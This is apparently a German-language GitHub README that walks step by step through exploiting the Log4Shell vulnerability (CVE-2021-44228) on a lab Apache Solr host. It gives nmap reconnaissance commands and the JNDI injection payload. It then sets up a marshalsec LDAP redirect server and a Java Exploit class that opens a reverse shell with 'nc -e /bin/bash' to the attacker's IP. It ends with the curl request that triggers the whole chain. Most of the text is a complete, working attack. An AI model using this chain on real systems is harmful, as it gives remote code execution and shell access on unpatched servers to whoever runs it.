lucaspdiniz/cve-2021-44228Log4j-Sicherheitslücke RCE - CVE-2021-44228
Diese Sicherheitslücke wurde am 9. Dezember 2021 entdeckt, identifiziert als CVE-2021-44228, betrifft das Java-Log-Paket und erzeugt einen Schweregrad (CVSS) von 10 Punkten, was die Ausführung von Fernzugriff auf den Host ermöglicht. Diese Sicherheitslücke ist in der Sicherheitsgemeinschaft als LOG4SHELL bekannt.
Wenn Sie eine Liste der von der LOG4J-Sicherheitslücke betroffenen Softwareanbieter möchten, sehen Sie sich das folgende Repository an:
Um diese Art von Angriff zu demonstrieren, haben wir einen Host mit der anfälligen Version (Apache Solr 8.11.0) des log4j-Pakets mit Java 1.8.0_181.
Beginnen Sie mit einer grundlegenden Erkundung, um zu verstehen, welche Ports auf diesem Rechner geöffnet sind, mit dem nmap-Tool (oder einem anderen Ihrer Wahl).
nmap -v -p- poc.log4j - Host anfällig
In diesem Fall wurden 3 offene Ports gefunden. Lassen Sie uns unseren nmap verbessern, indem wir nur die offenen Ports und den -sV-Befehl angeben (gibt die Anwendungsversion des Ports zurück).
nmap -v -p22,111,8983 -sV poc.log4j
Möglicherweise läuft auf Port 8983 ein Apache. Unten können wir den Apache bestätigen, diese Instanz von Apache Solr ist ohne jegliche Daten bereitgestellt. Es ist eine flache, einfache und absolut minimale Installation.
Der Hauptangriffsvektor für log4j ist im Anwendungslog, wo wir, wenn wir auf den Solr-Bildschirm schauen, das Log in Dsolr.log.dir aktiviert sehen.
Beachten Sie, dass der URL-Endpunkt, den Sie gerade entdeckt haben, beim Betrachten über das Webinterface mit dem solr/-Präfix versehen werden muss. Das bedeutet, Sie sollten Folgendes aufrufen:
http://poc.log4j:8983/solr/admin/cores
- warum /admin/cores ❓ 💬
Hier finden wir die ausnutzbare Sicherheitslücke. Dies ist ein Aufruf, der eine Variable (params={}) zur Ausführung erhält, wir können diese Eingabe manipulieren und unser Payload senden. Unten sehen wir ein Log, das von Apache generiert wurde, als diese URL /admin/cores aufgerufen wurde.
Das Format der üblichen Syntax, die dies ausnutzt, sieht wie folgt aus:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
Diese Syntax zeigt an, dass log4j Funktionen von "JNDI" (Java Naming and Directory Interface) aufruft. Letztendlich kann dies verwendet werden, um auf externe Ressourcen oder "Referenzen" zuzugreifen, was bei diesem Angriff ausgenutzt wird. Beachten Sie das ldap://-Schema, dies zeigt an, dass das Ziel einen Endpunkt (einen vom Angreifer kontrollierten Ort, in diesem Fall) über das LDAP-Protokoll erreicht.
Wo könnten wir diese ldap-Syntax eingeben?
Sie können einfach HTTP-GET-Variablen oder -Parameter angeben, die dann von log4j verarbeitet und geparst werden. Es genügt diese einzelne Textzeile – und das macht diese Sicherheitslücke extrem einfach ausnutzbar.
Andere Stellen, an denen Sie diese JNDI-Syntax angeben könnten:
In diesem Schritt, nachdem wir eine Version von log4j auf dem Zielhost entdeckt haben, müssen wir sie testen und sehen, ob diese Version anfällig ist.
Wir öffnen Port 6666 auf dem angreifenden Host.
nc -vnlp 6666
Stellen Sie eine Anfrage einschließlich dieser primitiven JNDI-Payload-Syntax als Teil der HTTP-Parameter. Dies kann einfach mit dem curl-Befehlszeilenprogramm erfolgen.
Bei der Ausführung des Payloads erhalten wir die Rückmeldung in unserem netcat auf Port 6666. 🙌
An diesem Punkt haben Sie bestätigt, dass das Ziel tatsächlich anfällig ist, indem Sie diese Verbindung in Ihrem netcat-Listener sehen. Es hat jedoch eine LDAP-Anfrage gestellt... daher hat Ihr netcat-Listener möglicherweise nur nicht druckbare Zeichen (seltsam aussehende Bytes) gesehen. Wir können nun auf dieser Grundlage aufbauen und mit einem echten LDAP-Handler antworten.
Wie wir oben mit curl gesehen haben, konnten wir das LDAP-Protokoll verwenden, um eine Anfrage in unserem NC zu empfangen. Da wir jedoch ein anderes Protokoll verwenden, können wir die Antwort nicht visualisieren oder manipulieren.
Der nächste Schritt ist die Erstellung eines LDAP-Servers, damit wir die Anfragen bearbeiten können, los geht's!
Um diesen POC zu beschleunigen, verwenden wir das bereits fertige Dienstprogramm unter https://github.com/mbechler/marshalsec
Wir müssen Maven verwenden, um das marshalsec-Skript zu nutzen. Maven verfügbar in apt install maven
Im marshalsec-Repository beginnen Sie mit Maven mvn clean package -DskipTests
Nach dem Erstellen des JAR können wir den LDAP-Server starten, um Anfragen umzuleiten
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"
Wir lassen den LDAP-Server laufen und erstellen das Skript, um den Server auszunutzen.
Exploit.java-Datei mit der folgenden Klasse.#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Kompilieren wir den Exploit mit javac Exploit.java -source 8 -target 8. Die Exploit.class wird erstellt.
Mit dem fertigen Exploit hosten wir ihn auf dem Python-Server python3 -m http.server.
Öffnen wir einen Port mit NC, um den Java-Bash-Befehl zu empfangen, den wir zuvor erstellt haben. Wir erstellen einen neuen nc -lnvp 9999.
Bringen wir alles zum Laufen! Machen wir einen CURL, der den Server zwingt, unseren Exploit auf Port 8000 zu suchen, den wir mit Python erstellt haben.
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
